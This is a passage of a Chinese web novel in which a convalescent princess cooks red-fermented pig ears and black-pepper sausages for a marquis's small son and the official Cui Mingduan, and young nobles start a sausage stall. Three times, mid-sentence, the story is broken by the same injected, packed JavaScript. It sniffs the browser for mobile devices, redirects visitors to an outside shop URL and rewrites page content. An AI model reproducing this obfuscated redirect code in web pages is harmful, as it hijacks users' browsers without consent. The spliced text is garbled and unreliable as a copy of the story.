“……道门清静之地，崔大人如此行事，好么？” “我种的花，我还不能做主了？” …… 如此，移栽茉莉，提上了日程。 门外荷花池的水，淅淅沥沥接了进来。池子大，一时也没接满。 送走了道长，阿草蹲那儿看了好一会儿，“郡主，这池子水满了怎么办？” “满了，便告诉崔大人去。工部的人，不敢在这节骨眼做豆腐渣工程的。” “做豆腐？” 一说吃的，阿草也兴奋起来，萧鸣笙也盘算着豆腐的事。 来日要将食摊摆在山脚下，那豆腐供应的问题，便成了一个问题。 梅花坞的村民没人做豆腐。 这烦恼才一过心头，坡路缓缓露出一个棕色马头。 这都快要宵禁了吧？崔大人不能也顺道过来？ 怕扰了人，崔明端也是让马儿慢慢上来，只见她神色懊恼，又急着回首去看那山林，便知父亲才走。 心里霎时一空，不过想着这几日能一直听到父亲的消息，也该知足了。 “郡主……” “大人……” 萧鸣笙没招呼他吃饭，因为家里已经没饭了。她也是没想到回去衙署的人怎么又过来了。 崔明端仿佛看透她的窘迫，开门见山将来意告知：“臣不是来吃饭的。” “……” 无事，她也没饭请他吃。 萧鸣笙便安静等着崔家六郎有何吩咐。可惜没等到，她便将茉莉花的笑谈说出，“听说眠山的道观里有茉莉花，道长应允给我几棵……” 崔明端的心，也不知是怎么长的，目光落在水池边那个无忧的侍女身上，不免多叮嘱一声，“冬日水凉，该善自保养。” “嗯，想着道长的药都是拜过祖师爷的，想来道观的花木也格外有灵性一些。” “过两日，我便去挖来。” “冬日，怕是不能移栽花木吧？”崔大人的过两日就是过两日。 萧鸣笙提醒了一句，转眼便看到脆大人又红了耳朵——这，莫不是哪句话说错了？ 啊，害羞的崔大人，真是莫名讨人欢心。 人来了，总也不能空着手走，萧鸣笙让阿草装了些栗子出来，“前些日子吃了大人的玉茄果脯，这糖炒栗子是新做的，给大人尝尝鲜。” 崔明端素日是不吃这些。但今夜不是还要看公文么，带些回去，正好。 心里是这样劝服自己，耳边却传来女子的轻笑，“或是小女想岔了。大人威严清正，怕是不爱吃这些……” 话没完，东西已叫人接了过去。崔明端暗自恼了会儿，又问起了她手上的伤，“那膏药，需得一日多次用着……重习箭术，也不必操之过急，当以养身为宜。明日，臣会带着侯府的府医来。” 府医不善治头疾，但是多个人来诊诊脉也好。他擅长针灸，保不齐阿草的头疾，施针行气，便能治。 “上次，荀二郎的大鹅，是送了哪些人家？”萧鸣笙想着，光是用俗礼答谢，或许不足以表达萧家的心意。 谁知，崔明端面色古怪，而后又收放自如，“并未听说送到侯爷府上。不过，听荀兄说这大鹅颇费功夫，明日怕是赶不及了。” * 翌日，天光微亮，萧家人起来。灶房的炊烟才从烟囱冒头，便被北风刮了个干净。 放了两天的红糟肉，正是入味时。那坛子不单是放了猪肉条进去。袁志在城里买了一个猪头，仔细刮毛清洗干净，切大块焯水煮熟，放进去。早晚翻动一次，这样便成了。 今早，萧鸣笙用筷子从里头翻出个猪耳朵。将糟猪耳朵切成薄片，红的边，软骨还是白的，蜿蜒如雪后小径，格外有食欲。 夹了一根，猪耳朵脆脆的，外头薄薄那层皮肉，带着红糟发酵后淡淡的甜味，又有盐巴化解，不至于是真的甜。 白口吃着，下酒亦可。再沾些酱油，更显风味，也更能下饭。 阿草吃了几根，眼神都亮了，“郡主，这个猪头，也好吃，还是不要送给嘿嘿了……嘿嘿……” “好，你爱吃，便留着自己吃。他们若是要，下回吧。” 阿草担心叫人夺走了，不想一语成谶。崔大人也不知怎么同侯府的人说的，来的时辰早，还赶上了萧家吃朝食。 府医是个白胡子老爷爷，面色和善，恭恭敬敬跪下要行礼，萧鸣笙还没扶起人，只见一个红彤彤、圆滚滚的小娃娃跌跌撞撞进来，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954788|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哼，崔兄，你不带我，我要告诉你爹去。” “噗……” 上回听人说崔兄，那还是荀二郎，这平辈间的称呼从一个刚过膝盖高的奶团子这么一提，连绷着脸的崔大人眼角都抽了抽。 萧鸣笙以目示意，还没开始问，侯府的府医便笑呵呵解释道：“这是我们侯爷的小公子。” 比不解释更让人看不明白了。而且，为什么他手里还揪着一根方才撤下去的猪耳朵。与他红扑扑的脸蛋，喜庆的大红袄真是相得益彰。 “原是小郎君来了。也不知小郎君爱吃红枣牛乳茶不？” 萧鸣笙蹲下身，笑眯眯问道。 这奶娃娃也不怕人，将手里的猪耳朵举高了，“我爱吃，郡主家的东西，我都爱。”说罢，就将猪耳朵叼嘴里，咬了一口，小乳牙很有劲，吃得是津津有味。 这是什么可爱小团子？怕不是和阿草一样吹的彩虹屁吧？ 像是晓得她不信，崔明端才接道：“侯爷本也要来拜访，奈何头疾发作，不便出门……” “无事，本公子不要我爹带着也能出门。崔兄你不必担心。郡主，路上劳累，能否同您讨口水喝？” 年纪虽小，可说话老气横秋的，萧鸣笙不禁是被逗乐了，让卢妈妈去将灶上煮着的牛乳红枣茶端来。 这牛乳茶，侯府也有。 但是，小公子一吃，也喜笑颜开，和崔大人一样豪饮，再将碗递过去，“让郡主和崔兄见笑了。” “噗……” 这样小小的人，说着和崔大人一模一样的话，实在是教人爱不释手—— 不是。 奈何崔大人的手已经是放在他的虎头帽上了。 “崔兄，你不能因为说不过我，就要打我吧，我会告诉你爹的。” “嗤……” 不说则罢，一说，崔明端忍不住捏了捏他圆滚的脸颊，“你爹交代了，不可多吃东西。” “怎就不能多吃呢？我头一回来郡主家拜访，郡主待我热情，我若不吃，岂不是见外了？郡主过后该伤心了。” 小奶娃娃说得头头是道。 萧鸣笙也不禁笑了笑，那可不是。要是早些日子来，家里也找不出什么好东西来招待这位小贵客。 “无事，你们自便，我喝我的牛乳茶。” “瞧瞧，老朽险些忘了，还得小公子提醒。”府医浅浅坐了半张凳子，这会儿是起身，“出府前，侯爷便交代了，务必替姑娘好好诊一诊，只是老朽的医术不精，怕是要给侯爷丢人了……” “无事，我爹也不出门。你丢的不是他，本公子也不怕丢人，快诊吧。” 按理来说，他这个年纪的小娃娃，该是怕医者的。特别是那些明晃晃的银针，他却是神色自若，就慢慢啜饮香浓的奶茶，再配那碟子猪耳朵。 不过萧鸣笙怕他脾胃弱，让他啃着皮肉吃，那软骨不可吃下来。 奶娃娃听话，只是头一回吃这玩意儿，一条猪耳朵啃了好久，口涎都要滴下来了，最后，好不容易啃出一条弯曲的，白白的软骨。 偏他还要偷偷和崔明端说话：“崔兄，我嫂嫂……嗝……依我看，好看得很，比城里好多姑娘都好……你们早日成婚……” “咳咳……” 这咳嗽，不是萧鸣笙发出的。崔明端接连咳了咳。 可绪安又不是会察言观色的人，他还是一个四岁奶娃娃。 “要不是崔兄占了先机，回去就让我爹派人来下聘……嫂嫂哪有自家的好……” “绪安。” “崔兄有何吩咐？” “……” 吩咐没有，不过人已经被拎了出去。 萧鸣笙不大放心，让袁志在里屋看着，自己出去劝一劝。 “大人……” “崔兄你看，我就说嫂嫂是个好的吧，什么叫宜室宜家……” “……” 萧鸣笙默默将那句“他还只是个孩子”吞下去。 打吧，熊孩子要趁早打。 62.黑胡椒烤肠 到底是侯府家的小公子，崔明端也没打过孩子，对着连绵群山深吸一口气，不禁遥想自己幼时，是否也这样招人嫌。 答案，自然是否定的。 崔家六郎，自幼便是老成持重。父亲为此还总是从市集买了很多小玩意儿来逗他。 想到此处，崔明端难得起了丝怜爱的心。 这奶娃娃手指油乎乎的，又抱住了崔明端的大腿，“崔兄，这照殿红开了吗？抱本公子看一看。” 崔明端：“……” 萧鸣笙在后头轻笑一声，奈何北风不作美，一咳便被崔兄抓了包。 崔明端一脸担忧，才要开口，稳坐他手臂上的奶娃娃又道：“嫂嫂……不是……郡主，快来看，这儿开了一朵照殿红，真是好看，像极了娇艳的我……” “噗……” 这下，别说是萧鸣笙忍不住，就连是匆匆赶来的绪安也捂脸。 他不用去学堂，也没有官做，冬日不用晨昏定省，每日都是睡到自然醒。今天却被老爹一棍子将被子掀了，还以为要招一顿打，谁知只是吩咐人将他上下收拾了一番，再备了份礼来追小弟。 比起口无遮拦的小弟，他都算人中龙凤。 绪宁依着礼法给萧鸣笙和崔明端见礼，“见过郡主，见过大人。小弟年幼不懂事，我这做兄长的给他赔罪，见笑了。” “兄长，你看我是会让人笑话的么？”奶娃娃很不赞同这样的寒暄。 谁知他脸上还挂着糟肉的红痕，仿佛是偷腥的猫猫。 绪宁自然是瞧见了，碍于崔明端过分威严，郡主又站那儿，实在不好靠近，他眼睛都快挤歪了，这小子就是领会不了。 萧鸣笙也不忍看绪宁这样折腾眼珠子，便上前去，“小郎君脸上沾了些东西。” 话音轻柔，才用帕子轻轻一擦，神采飞扬的奶娃娃忽然含了热泪。 崔明端也没想到她会近前来，另一手才要去摸帕子，便被熟悉药香萦绕。 她眼眸微垂，认真给绪安擦拭，青葱玉指便在眼下。 原也不是躁动的人，可这会儿，心砰砰跳得极快。 而站在三丈远的绪宁，是极多余的。他旁的本事没有，却是十分会察言观色。崔大人神色变化，自然也没躲过他眼——郡主和大人站一处，真真像幅画。 要不是多了个碍事的小子。 这小子也不知怎么的，忽而又眼泪汪汪的，伸手就要郡主抱。 萧鸣笙惊讶举着帕子，瞧他泪眼婆娑，才要抱他，却听崔大人轻声提醒道：“小公子重得很，怕是要累着郡主。” “……你才重。”萧鸣笙很为小郎君考虑，下意识数落他一声。 绪安便含着包泪，好不委屈道：“就是，崔兄你才重，你以后不要喊我嫂嫂抱你。” 萧鸣笙：“……” 算了，这个口无遮拦的熊孩子，还是让崔大人好好管教一番罢。 而崔明端自然也看出她郁郁之色，用袖子胡乱给擦眼泪，又低声同绪安说了一句。 萧鸣笙耳朵动了动，也没听出二人嘀咕什么。但熊孩子不哭不闹，反而是红着脸致歉，“郡主，是我失言了。请郡主大人不记小人过……” “嘶……”这转变，是不是太快了些？ 萧鸣笙不懂，看了始作俑者——崔大人，你是不是下了什么猛药？ 于是乎，她也端起长辈的身份来，“小公子在我这儿失言倒也不打紧，你年纪小，惹人疼。我和你崔兄自然不会笑话你，只是，到了别处……” “那自然也没人笑话我。我爹很厉害的，一拳能打三十个。” “……” 京城果然是拼爹最严重的地方。 然而，想着那位名患头疾，实是腿疾的侯爷，再去看站一旁点头哈腰，嘿嘿傻笑的绪宁，萧鸣笙不免推己及人。 不过，再如何，侯府也会比萧家强上许多。只是，登高跌重，更叫人丧气。 她以帕点点奶娃娃的虎头帽，“你既先喊了我一声嫂嫂，我便也厚颜听着——即便我不是你嫂嫂，今日你也吃了我家不外传的猪耳朵，便是我小友了。我与你爹素不相识，他能打三十个，也照拂不到我。只能盼你出人头地，我来沾小郎君的光，别人也不敢笑话我。” 绪安年纪小，好长一番话并非听不懂，眨巴着葡萄般的眼珠子，思考了好久，只问了一声：“有句话，不知当问不当问。” “不许问。”严明兄长崔明端如是道。 “问吧。”贴心姐姐萧鸣笙如是道。 身旁的崔兄凶巴巴的，奶娃娃惯是会装可怜，“那崔兄这样说，我还能问么？” “自然了，这是梅花坞，我做主的。你崔兄也不敢说什么的，是不是？”萧鸣笙哄着小的，跟着奶娃娃去看崔兄，就盼他给个面子。 崔明端倒无谓什么面子，只是绪安口无遮拦，难免说错话，损了她闺誉，也惹人伤心。“说吧，我用君子德行约束你，郡主慈心，一味哄着你，你也该晓得什么话该说。” 这话，不说绪安费解，连萧鸣笙也跟着眨眨眼睛——在京城，时刻做君子可真辛苦啊。 绪安便压低了声音，只用三个人能听的音量问道：“那，郡主怎么就即便不是我嫂嫂了……你不能是因为我崔兄常常板着脸就不喜吧……” 这下，饶是萧鸣笙也闹了个红脸，只能隔帕点了点他面颊，“小公子童言稚语，我便不知如何答了，只问你一声：想吃什么东西，我给你做。” “嘻嘻……郡主嫂……郡主姐姐，我吃。” 说到吃东西，小公子泪意全收，又如数家珍，“前几日，我不是吃了你做的蒲包肉么？那个好吃，我吃蒲包肉便好。” “我说呢，我这儿冷僻，小公子怎么巴巴来了，原是吃了蒲包肉。” 萧家的蒲包肉，也就送了来诊脉的郑御医和崔大人。结果，皇帝说吃了崔大人的蒲包肉，想来侯府的蒲包肉便是郑御医给的了。 “眼下，没有蒲包肉，现做也来不及了。你若是不嫌弃，我做一道烤肠给你，香香的，甜甜的。京城有烤肠么？” “没有，家里的肠辣得很，我爹吃酒要配一碟，我吃过，不好吃。”绪安不知集市也有，不过不是甜口的，多是香辣味。北人多，香辣口能御寒。 “那你是来得巧了，劳你和崔兄在此处赏花。” …… 一听说要做吃的，卢妈妈也赶忙来帮忙。 黑胡椒香肠，是昨日连夜做的。 内侍省送来的猪肉，是一块上好的猪腿肉，足有四五斤。 家里肉多，一时也吃不完，本是想着做成腊肉，但想了想秋日去河滩采蒲棒时，和阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976472|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 草画的大饼。 大饼不及时兑换，那便失去了意义。 后腿肉去皮，加盐浸泡在温水里，反复搓洗干净，沥干水分。 将肥瘦分开，去掉筋膜，瘦肉分成两部分，一部分切成半寸大小的肉糜，一部分则是一寸大的小肉块，再剁成小颗粒样。肥肉也是一寸大小，再由快刀手阿草剁成肉泥。最后，将这三者混合在一起。 阿草不大明白，但晓得郡主做菜每多出的每个步骤，就是好吃的关键，也不再像以前一样多嘴，郡主吩咐怎么做就怎么做。 萧鸣笙将适量盐、糖、蜂蜜、酱油、白胡椒粉、黑黑胡椒粉、玉米淀粉、姜粉加入。 这样只算是调味，还要将肉泥放在石臼里反复捶打，口感才会劲道弹牙。 袁志也不干看着，让阿草在一旁休息，他拿着木锤一下一下敲打，萧鸣笙适时加入冰水，直至肉泥将水完全吸收。 如此循环四次，才算是完成。 卢妈妈则是把盐渍肠衣反复冲洗，再用清水和酒浸泡去腥，也等肉泥腌渍入味。 好一通忙活，一家子坐在灶房里，将肉泥灌进肠衣。古代没有灌制工具，萧鸣笙便让袁志去取细竹，将竹节打通，再找根大小适宜的木棍，方便推挤肉泥。 一家四人都能做，不用小半时辰，香肠全部灌好，用麻绳均匀扎出每根长短，再戳几个洞，挂在后院风干过夜。 今日天光大亮，红通通一串，看着就有食欲。 卢妈妈取了下来，听郡主的话，将香肠放在锅里煮熟，撇去浮沫，捞出沥干水分。 这期间，绪安闻到香味已经等不及了，哒哒跑来，一个劲道：“好香啊……好香啊……” 仿佛是小号阿草。 萧鸣笙往锅里倒油，将香肠再煎一煎，更显风味。 奶娃娃也晓得不要去灶前添乱，自己要爬上凳子，奈何他身上衣物厚实，爬了几下都没成功。 崔明端跟着过来，又是一把就将人提溜着放好。 “崔兄，行事不可如此粗鲁。” “……” 崔明端总算是遇着了对手。 萧鸣笙在锅前暗自发笑，给烤肠翻了面出锅。 煎过后，香味更浓，表皮油亮，绪安吞了好一会儿的口水。 绪宁怕小弟闯祸，也跟了过来，正好是看郡主俯身给这傻小子擦口水，捂脸退了回去。罢了罢了，不急不急，郡主心善，总会留些给他的。绪家有一个添乱的就够了。 念在绪安年纪小，萧鸣笙便先给了他水煮的。“我加了胡椒粉，小公子尝尝可吃得惯？” 而给崔明端的，则是两根，一根水煮的，一根煎过的。 这下，烦郁了半日的心，霎时烟消云散。 “郡主辛苦，也别忙活了。他年纪小，吃一根过过嘴瘾也罢。” “崔兄，我能吃好几根。” 绪安着急去吃，可是人小，与桌面的高度也不匹配。 萧鸣笙给他插了根略小些的竹签，本来也是袁志削给阿草用的。 可巧了，这奶娃娃就是会选日子。 绪安像揪着猪耳朵一样，握着这烤肠，不用人提醒，自己呼呼吹着热气。一咬，肠衣在口中蹦开。嘶就是有些烫，他张口散着热气，再赶紧嚼两下，果真是香香的，甜甜的，肉也不挂牙。 63.烤肠经济1.0 “好吃，姐姐，这个好吃……” 已经好吃到连“郡主”也省略了。 萧鸣笙留心着，也提醒他莫要被签子扎到，“大人也尝尝，昨日新做的。” 崔明端没着急吃，反而是起身取了一只新碗，将水煮那根香肠夹在碗里，再放在她面前。 绪安能吃，她约莫也能跟着吃两口尝尝鲜。 昨日自己来时，也没尽心留意萧家廊下，也不知这香肠是几时做好的。 瞧着像是为了招待府医而制的。 唉……她尚且在病中，何须这样操劳？ 崔明端颇是自责，又在架子上找到了茶叶，顺带将热水壶提了过来，冲泡好，一人一杯放着。 萧鸣笙敏锐察觉到崔大人气场变化，还以为是小公子吃东西糊了一脸。 奶娃娃和小奶猫是一样的，抱着香肠努力啃啃，却因肠衣的缘故，对香肠造成了皮肉伤。 横着啃，总是扑空。 绪宁也不是傻的，便从上头的位置继续发动攻击，吃得连“崔兄”什么的都忘了。 萧鸣笙才笑完，便又得了一声极轻的叹息—— 这下，她便如猫儿炸毛。崔大人不是忧心小公子，便是她了。 但她又不是三岁小儿，只要她不知道，就不关她的事。 她也夹着尝了一口。水煮的，味道好是好，就感觉缺了些什么。 配料没错，但就是缺了什么。才一歪头，便瞧见了眉结舒展的崔大人——玉茄果脯，误以为穿越相认的信物。 这香肠，煎过的要香一些，这水煮，缺个番茄酱或别的蘸料。奈何崔大人守得紧，还是等下回吧。 崔明端守着二人都安静吃点心，暗暗舒了口气。小公子话多，可吃东西的模样着实勾人食欲。他跟着尝了一口，便翘了翘唇角：煎过的肠衣更有弹性，汁水迸发。他不如荀二郎精通，也能吃出肉酱劲道弹牙。 “姐姐，这好吃……” 绪安啃了几口，露出洁白的乳牙来，隐约闻见了一股更香甜的味道，“崔兄，你的怎么与本公子不同？啊，给我尝一口。你一个做兄长的，怎么好吃独食呢？” 崔明端：“……”果真是不该对他起一丝丝怜爱之心。 “好吃等下再带些出府去，谢侯爷派了医者过来，也谢小公子大驾光临。” 萧鸣笙面面俱到，不单是照顾小的，也记得侯府另外一个公子还在外头，让袁志端了剩下的几根出去。 这会儿，灶房里安安静静，只有小团子讨要崔兄的香肠无果，只能继续吭哧吭哧啃着手里那根。门口探了个脑袋进来，“郡主姐姐，小弟也觉得好吃。” “……” 便宜是这么占的是么？ 萧鸣笙不知他年纪，转头去看崔大人。 崔明端面色尚可，这侯府两兄弟是活宝，不与他们一般见识了。 绪宁缩回去再吃根，也顾不得沾着的油渍，又探头进来打商量，“这肠好吃得紧，余下两根，能否让小弟带回城去给范兄和钱兄尝尝。冬至的卤鹅虽好，但不如这烤肠方便，支个摊，再摆个平锅，底下燃着火盆，这香味能飘十里，别说是孩童了，就是少年郎和夫人小姐，也想买一根尝尝。” 萧鸣笙含笑点头附和。烤肠经济，哪里都是行得通的。 奶娃娃年纪小，脑子同绪宁一样转得快，“兄长，你们要去卖烤肠？你带我去，我长得好看，嘴巴又甜，谁路过都得来看我一眼，本公子是能让人白看的吗？” “……我带你去做甚？你光会吃么？再说了，你这小身板，别是银子还没赚到，就搭进了吃药的钱？” “府医不是现成的吗？” “你兄长只有一双腿。” “自然了，你又不是螃蟹。” …… 兄弟俩旁若无人斗起嘴来。萧家的灶房，除了现做的烤肠，还有南瓜山药米糊。 萧鸣笙的脾胃弱，一次用不了多少。云来道长便说了，要缓缓进补。即便是肚子不饿，能再吃两口也是好的。 现如今，萧家不缺灶火，也不缺食材。 连绪宁也坐了下来，吃起东西也打算着赚钱，“这米粥也好吃，郡主，这也能卖。” “那本公子也能帮你们卖。”绪安不甘落后。 “就是一道家常的米粥，怕是招揽不来客人。”萧鸣笙还真不是客气。就是用南瓜、山药切块，小米与糯米混合煮开，将备好的东西都放进去咕噜。 若是想吃糊糊的口感，可以先将南瓜和山药蒸熟捣成泥，再与米粥同煮。 她更喜欢大口吃辅料，便切块煮的。 原先还想着等杀年猪时，再让袁志出去看看哪里能搜集些材料回来，制作肠衣。 不想内侍省乖觉，郡主份例内的东西送来。晓得郡主如今喜爱在灶房里鼓捣，一些不在份例内的小东西，都会添进去。 这份量，自家做香肠吃，是绰绰有余。难的是，要在市集铺开，光靠内侍省送的东西，肯定是不行的。 萧鸣笙也做了两手的准备。一是请绪宁在城里大量收购肠衣，二是等下回福公公再来送赏，同他打听一下城中物资情况。 在她交代绪宁时，奶娃娃安坐在崔明端的手臂上，还要小声说道：“崔兄，你说，这些琐事，你不知道吗？我姐姐怎么不问你，反而是让我兄长去做？” 话一完，虎头帽又是教人轻轻一点。 崔家六郎——确实是不知。 罢了罢了，这小娃娃光是讨人嫌了。再抱这一回，下次绝不心软了。 崔明端将人好好送上了回侯府的马车，又仔细交代绪宁先将人稳住，自己稍候跟上。 绪宁也是一顿打趣：“大人且放心，这是我亲弟弟，我总不能昧了良心半道就人卖了？大人慢慢来就是。” “……” 崔明端要“慢慢来”做何事？ 他折返回去时，萧家人也已是转身，一点也不留恋。亏得是卢妈妈回首，发现了他。 “郡主……大人又回了……像是落了什么？” 闻言，萧鸣笙仔细想了想，崔大人来时是带了什么么？似乎是递给了卢妈妈一个木盒。 崔明端瞧她呆站着，请人到避风处说话，晓得她有心经营铺子，便开门见山道：“陵安府，有一项规矩，侯府公子养尊处优，怕是不知。” “啊？” 萧鸣笙当即一惊。崔大人也不是会同人开玩笑的样子，她小声询问道：“可先前不是说，没有哪一条的律法是不许我行商的么？” 崔明端缓缓摇头，将新皇登基后的新政说给她听。“本朝律法严明，诸位大人每日采购的肉类数量，都是有规定的……” 萧鸣笙等了会儿，也没听他说下去，便问道：“可是各家出去采买，外头的摊贩怎么认得？” “寻常大人要买肉吃，御史家也要吃肉……” 只一句，便让萧鸣笙倒吸一口凉气。“这御史，便是……” ——陛下的耳目。 “咳……” 崔明端是何等聪明的人，当即是咳嗽打断她的话。梅花坞远僻，可陛下耳目遍布天下，他一个臣子能做的，便是让她谨言慎行，免得给那群御史抓住把柄，失了圣心。 “市集上的肉，限制诸位大人采买的份额，为的是让百姓们都能吃上。大臣若要多吃些，尽可在自家庄子里养一养，这些，陛下是不管的。” 这举措……萧鸣笙半歪着脑袋想了想，也说不清其中利弊。 但崔大人释放出一个极其重要的信息，游手好闲三人组要是不知此事，在市集大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986699|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肆采买，明日弹劾各家的折子便会上达天听。 他们三个怎会突然想要行商，还不是她这个刚刚出孝的郡主？ 届时，她这孝名在外的郡主，怕要招致骂声一片。 “大人的意思，我懂……” 崔明端不觉行商有何不可，各家的铺子总是要开的，没等他安慰几声，便听人欢快说道： “陛下赐了梅花坞给我养病，我若用来养猪，不会玷污了圣心吧？” “……” 大抵是今日一直去规训绪安，崔明端的指尖还残留着虎头帽毛茸茸的手感。 再经北风一吹，她领子的白毛迎风招展，总是引人想跨出君子范畴。 “郡主想做何事，放心去做。”崔明端负手而立，没能伸出去的手，背在身后，不住摩挲着袖口。 这话，便是养熊孩子了。 萧鸣笙凑趣说道：“那我行事在律法之外，崔大人是第一个参奏的么？” 崔明端只是淡淡一笑，眸中多少宠溺之情，身量比他矮小，眼眸又低垂轻笑的人无法瞧见。 她一小小女子，能行什么律法之外的事？再不济，还有他兜着。 * 有了这一遭，萧鸣笙也极快调整了思路。 虽说原先也不放心将供货源全部交到外人手里，但不想真相来得这样快。 她歪着脑袋，想了半晌。除去猪肉，别的—— 譬如鸡鸭鹅，未必就能大肆采买。自己有十里青山，还能被律法卡死了？ 她掐指算了算日子，大寒也快了，一候鸡乳。等到了大寒的节气，便可以孵小鸡了。 陛下限制大肆购买肉类，这鸡蛋，大抵是不会限制的吧？鉴于古代过了节气就没有的物资，不得不早做打算。 图纸才一画，物资如何采买，走地鸡如何安排，她理得井井有条，阿草便进来一看，也懂了。 “郡主，若是放两百只，要是给狼吃了，可要心疼坏了。” “山上还有狼？”萧鸣笙拉了她坐下，方才听袁志说，侯府的府医只是诊脉，问了些当年受伤的细节，并未施针。是否能治，还得等他回去斟酌一番。 府医有顾虑。阿草的头疾这么多年都没大夫能治，大抵也就这样了。他乃侯府的大夫，治好便罢，万一再给人治坏了，不是平白给侯爷添堵么？ 萧鸣笙懂，怕阿草想不明白，便拉了她一同烤火，想宽慰几句，谁知她没将治病放心上，反而只念着小鸡。阿草悄悄指着门的方向，“我没去过山里面，是卢妈妈同我说的……只有大哥的身手好，才不怕狼。” 前一半，萧鸣笙将信将疑。后一半，可不就是吓唬孩童不要随意进山么？ 萧鸣笙忍俊不禁，也不好戳破卢妈妈善意的谎言，“既然山上有狼，那围栏可要做高一些。” 阿草也趴案几上，去看那圈出来的地方，“要是都养了鸡，那大哥还去山上放陷阱么？” “自然是不去了。山上潮湿路滑，可万万不敢再出岔子了。” …… 萧家想着养鸡，绪安还没回城，在马车上就叽叽喳喳的，多次掀开了马车帘子，“兄长，我要去同崔兄坐一处。” “哼，崔大人不乐意和你一道坐着，你就老实些。” 绪宁没说假话。 崔明端喜静，在萧家被闹了小半日，也都是看在郡主的面上。这小家伙，还以为自己是朵花，很招人疼…… 忽然眼睛疼是怎么回事？ 眼皮底下，还真就出现了一朵花，火红热烈，可不就是早早开在篱笆上头的照殿红？ 再一看始作俑者，这傻小子还神采飞扬炫耀，“看，这花，像不像本公子？崔兄怎么会不乐意和我待一处？” “嘶……完了完了……停车停车……” 64.烤肠经济2.0 梅花坞山道蜿蜒，不方便随意停车。 绪宁以为小弟在家里无法无天惯了，私自将郡主的花摘了下来。这在家里，自然是无妨—— 可这是照殿红啊，是郡主精心养育的花啊！他可还要与郡主一道行商的，竟然败在一朵花上！ 崔明端以为是绪安吃多了东西肚子疼，也赶忙下车来，听绪宁这么一说，身后的小祖宗还要学人将花簪在鬓边，可这乳臭未干的小儿，哪来的鬓？ 头上只有一个虎虎生威的绒帽。 偏素来威严的崔明端今日也爱逗人，愣是找了个位置，用帽沿压住簪在耳上。 “这照殿红早早开了，原想着是不是那茶花被小阳春的风一吹，迷糊了，错了节气早早含了花苞，不想是来迎贵客的。小公子俊爽有风姿，簪得此花。” “哈？”绪宁再不学无术，那也知这是形容人的好词。 “那可不是么？崔兄，我就说了，这花娇艳，像极了本公子。”绪安面无愧色，小小团子昂首，自是神采非凡。 崔明端亦是怜爱碰了碰虎头帽，指尖亦是抚过照殿红柔嫩的花瓣。若是话少一些，可真真是要疼到心肝去了。 * 借由一朵花，崔明端也将限肉令告知绪宁。 谁知绪宁神秘一笑，“多谢崔大人相告。” 这便是他也听说过。但崔大人端的是云淡风轻，“也是我多嘴了。” 又说了好一通谦虚共勉的话，崔明端才告辞。 只是临走前，簪花的小团子又眼泪汪汪的，“崔兄，我听说你丹青最好，你不来寒舍吃饭么？再将我这如花容颜画一画——” 话没完，便被绪宁捂了嘴，“崔大人自有公务要忙，自家人不需客气，我们兄弟就先告辞了。来日摆了摊，一定请大人吃一根烤肠。” “……一定。” 不说那烤肠则罢，一说崔明端心头郁郁。这一次，萧家也送了伴手礼。 不过，是给侯府的。 偏萧鸣笙预备的时候，小团子是紧紧跟着的。她一边念叨着“没提前备着，这香肠做的不多”，小团子便不客气接上，“没事的，姐姐，我崔兄饮食清淡，不爱吃这些。我拿几根，剩下几根姐姐留着吃。过几日，我再来玩，也给姐姐带好东西来。” 不用主人家想，他这个便宜“崔兄”便被人小鬼大的人排除在外了。 连绪安都知晓崔明端饮食清淡，绪宁自然也没同崔明端客气——郡主就是想送，也不会送香肠。自己再和崔大人客气，就过分见外了。 绪宁腰是弯了些，但动作很快，拿回来的香肠，绪安就是哭红了眼，也只留下三根给他，美其名曰：吃多了积食，明天不用吃，往后隔天吃一根，还能吃好久。 余下的，便着急忙慌拿去寻了范文卓和钱知礼。 三人一合计，从三家铺子挑了个手艺最好的出来，先在后厨将香肠煮熟，当街支起了摊子。 起锅下油，肉肠放上去便滋滋作响，香气当即溢了出来。 范文卓是文臣家里出来的，再混不吝，面上也端得住，虽然喉结一动一动的。 “烤肠，卖烤肠……” 三人你看看我，我看看你，这声吆喝还是绪宁身边的小厮喊出来。 上回卖卤鹅，还没来得及吆喝，便被几个相熟的要了去。今日方知，原这路边小摊贩也是要张口招揽客人的。 往日他们路过，这些人是如何说的？ “烤肠，香喷喷的烤肠……走过路过来瞧一眼啊……” 别说，这一声出来，声音是略小了些。但三个人仿佛心有灵犀一般，都喊出了差不多的话来，不由相视一笑，仿佛是达成了什么了不得的成就，吆喝得更畅快。 他们在市集是老熟人了，不过是掏钱那一位。 